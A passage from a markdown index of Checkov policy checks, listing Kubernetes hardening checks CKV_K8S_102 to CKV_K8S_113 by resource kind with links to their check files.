[ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7431 | CKV_K8S_102              | resource                         | Deployment                                                                                       | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7432 | CKV_K8S_102              | resource                         | DeploymentConfig                                                                                 | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7433 | CKV_K8S_102              | resource                         | Job                                                                                              | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7434 | CKV_K8S_102              | resource                         | Pod                                                                                              | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7435 | CKV_K8S_102              | resource                         | PodTemplate                                                                                      | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7436 | CKV_K8S_102              | resource                         | ReplicaSet                                                                                       | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7437 | CKV_K8S_102              | resource                         | ReplicationController                                                                            | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7438 | CKV_K8S_102              | resource                         | StatefulSet                                                                                      | Ensure that the --etcd-cafile argument is set as appropriate                                                                                                                                             | Kubernetes              | [ApiServerEtcdCaFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py)                                                                                        |\n| 7439 | CKV_K8S_104              | resource                         | CronJob                                                                                          | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7440 | CKV_K8S_104              | resource                         | DaemonSet                                                                                        | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7441 | CKV_K8S_104              | resource                         | Deployment                                                                                       | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7442 | CKV_K8S_104              | resource                         | DeploymentConfig                                                                                 | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7443 | CKV_K8S_104              | resource                         | Job                                                                                              | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7444 | CKV_K8S_104              | resource                         | Pod                                                                                              | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7445 | CKV_K8S_104              | resource                         | PodTemplate                                                                                      | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7446 | CKV_K8S_104              | resource                         | ReplicaSet                                                                                       | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7447 | CKV_K8S_104              | resource                         | ReplicationController                                                                            | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7448 | CKV_K8S_104              | resource                         | StatefulSet                                                                                      | Ensure that encryption providers are appropriately configured                                                                                                                                            | Kubernetes              | [ApiServerEncryptionProviders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py)                                                                      |\n| 7449 | CKV_K8S_105              | resource                         | CronJob                                                                                          | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7450 | CKV_K8S_105              | resource                         | DaemonSet                                                                                        | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7451 | CKV_K8S_105              | resource                         | Deployment                                                                                       | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7452 | CKV_K8S_105              | resource                         | DeploymentConfig                                                                                 | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7453 | CKV_K8S_105              | resource                         | Job                                                                                              | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7454 | CKV_K8S_105              | resource                         | Pod                                                                                              | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7455 | CKV_K8S_105              | resource                         | PodTemplate                                                                                      | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7456 | CKV_K8S_105              | resource                         | ReplicaSet                                                                                       | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7457 | CKV_K8S_105              | resource                         | ReplicationController                                                                            | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7458 | CKV_K8S_105              | resource                         | StatefulSet                                                                                      | Ensure that the API Server only makes use of Strong Cryptographic Ciphers                                                                                                                                | Kubernetes              | [ApiServerStrongCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py)                                                        |\n| 7459 | CKV_K8S_106              | resource                         | CronJob                                                                                          | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7460 | CKV_K8S_106              | resource                         | DaemonSet                                                                                        | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7461 | CKV_K8S_106              | resource                         | Deployment                                                                                       | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7462 | CKV_K8S_106              | resource                         | DeploymentConfig                                                                                 | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7463 | CKV_K8S_106              | resource                         | Job                                                                                              | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7464 | CKV_K8S_106              | resource                         | Pod                                                                                              | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7465 | CKV_K8S_106              | resource                         | PodTemplate                                                                                      | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7466 | CKV_K8S_106              | resource                         | ReplicaSet                                                                                       | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7467 | CKV_K8S_106              | resource                         | ReplicationController                                                                            | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7468 | CKV_K8S_106              | resource                         | StatefulSet                                                                                      | Ensure that the --terminated-pod-gc-threshold argument is set as appropriate                                                                                                                             | Kubernetes              | [KubeControllerManagerTerminatedPods.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py)                                                        |\n| 7469 | CKV_K8S_107              | resource                         | CronJob                                                                                          | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7470 | CKV_K8S_107              | resource                         | DaemonSet                                                                                        | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7471 | CKV_K8S_107              | resource                         | Deployment                                                                                       | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7472 | CKV_K8S_107              | resource                         | DeploymentConfig                                                                                 | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7473 | CKV_K8S_107              | resource                         | Job                                                                                              | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7474 | CKV_K8S_107              | resource                         | Pod                                                                                              | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7475 | CKV_K8S_107              | resource                         | PodTemplate                                                                                      | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7476 | CKV_K8S_107              | resource                         | ReplicaSet                                                                                       | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7477 | CKV_K8S_107              | resource                         | ReplicationController                                                                            | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7478 | CKV_K8S_107              | resource                         | StatefulSet                                                                                      | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py)                                                          |\n| 7479 | CKV_K8S_108              | resource                         | CronJob                                                                                          | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7480 | CKV_K8S_108              | resource                         | DaemonSet                                                                                        | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7481 | CKV_K8S_108              | resource                         | Deployment                                                                                       | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7482 | CKV_K8S_108              | resource                         | DeploymentConfig                                                                                 | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7483 | CKV_K8S_108              | resource                         | Job                                                                                              | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7484 | CKV_K8S_108              | resource                         | Pod                                                                                              | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7485 | CKV_K8S_108              | resource                         | PodTemplate                                                                                      | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7486 | CKV_K8S_108              | resource                         | ReplicaSet                                                                                       | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7487 | CKV_K8S_108              | resource                         | ReplicationController                                                                            | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7488 | CKV_K8S_108              | resource                         | StatefulSet                                                                                      | Ensure that the --use-service-account-credentials argument is set to true                                                                                                                                | Kubernetes              | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py)                                  |\n| 7489 | CKV_K8S_110              | resource                         | CronJob                                                                                          | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7490 | CKV_K8S_110              | resource                         | DaemonSet                                                                                        | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7491 | CKV_K8S_110              | resource                         | Deployment                                                                                       | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7492 | CKV_K8S_110              | resource                         | DeploymentConfig                                                                                 | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7493 | CKV_K8S_110              | resource                         | Job                                                                                              | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7494 | CKV_K8S_110              | resource                         | Pod                                                                                              | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7495 | CKV_K8S_110              | resource                         | PodTemplate                                                                                      | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7496 | CKV_K8S_110              | resource                         | ReplicaSet                                                                                       | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7497 | CKV_K8S_110              | resource                         | ReplicationController                                                                            | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7498 | CKV_K8S_110              | resource                         | StatefulSet                                                                                      | Ensure that the --service-account-private-key-file argument is set as appropriate                                                                                                                        | Kubernetes              | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py)                            |\n| 7499 | CKV_K8S_111              | resource                         | CronJob                                                                                          | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7500 | CKV_K8S_111              | resource                         | DaemonSet                                                                                        | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7501 | CKV_K8S_111              | resource                         | Deployment                                                                                       | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7502 | CKV_K8S_111              | resource                         | DeploymentConfig                                                                                 | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7503 | CKV_K8S_111              | resource                         | Job                                                                                              | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7504 | CKV_K8S_111              | resource                         | Pod                                                                                              | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7505 | CKV_K8S_111              | resource                         | PodTemplate                                                                                      | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7506 | CKV_K8S_111              | resource                         | ReplicaSet                                                                                       | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7507 | CKV_K8S_111              | resource                         | ReplicationController                                                                            | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7508 | CKV_K8S_111              | resource                         | StatefulSet                                                                                      | Ensure that the --root-ca-file argument is set as appropriate                                                                                                                                            | Kubernetes              | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py)                                                                |\n| 7509 | CKV_K8S_112              | resource                         | CronJob                                                                                          | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7510 | CKV_K8S_112              | resource                         | DaemonSet                                                                                        | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7511 | CKV_K8S_112              | resource                         | Deployment                                                                                       | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7512 | CKV_K8S_112              | resource                         | DeploymentConfig                                                                                 | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7513 | CKV_K8S_112              | resource                         | Job                                                                                              | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7514 | CKV_K8S_112              | resource                         | Pod                                                                                              | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7515 | CKV_K8S_112              | resource                         | PodTemplate                                                                                      | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7516 | CKV_K8S_112              | resource                         | ReplicaSet                                                                                       | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7517 | CKV_K8S_112              | resource                         | ReplicationController                                                                            | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7518 | CKV_K8S_112              | resource                         | StatefulSet                                                                                      | Ensure that the RotateKubeletServerCertificate argument is set to true                                                                                                                                   | Kubernetes              | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py)                                                                  |\n| 7519 | CKV_K8S_113              | resource                         | CronJob                                                                                          | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7520 | CKV_K8S_113              | resource                         | DaemonSet                                                                                        | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py)                                                                      |\n| 7521 | CKV_K8S_113              | resource                         | Deployment                                                                                       | Ensure that the --bind-address argument is set to 127.0.0.1                                                                                                                                              | Kubernetes              | 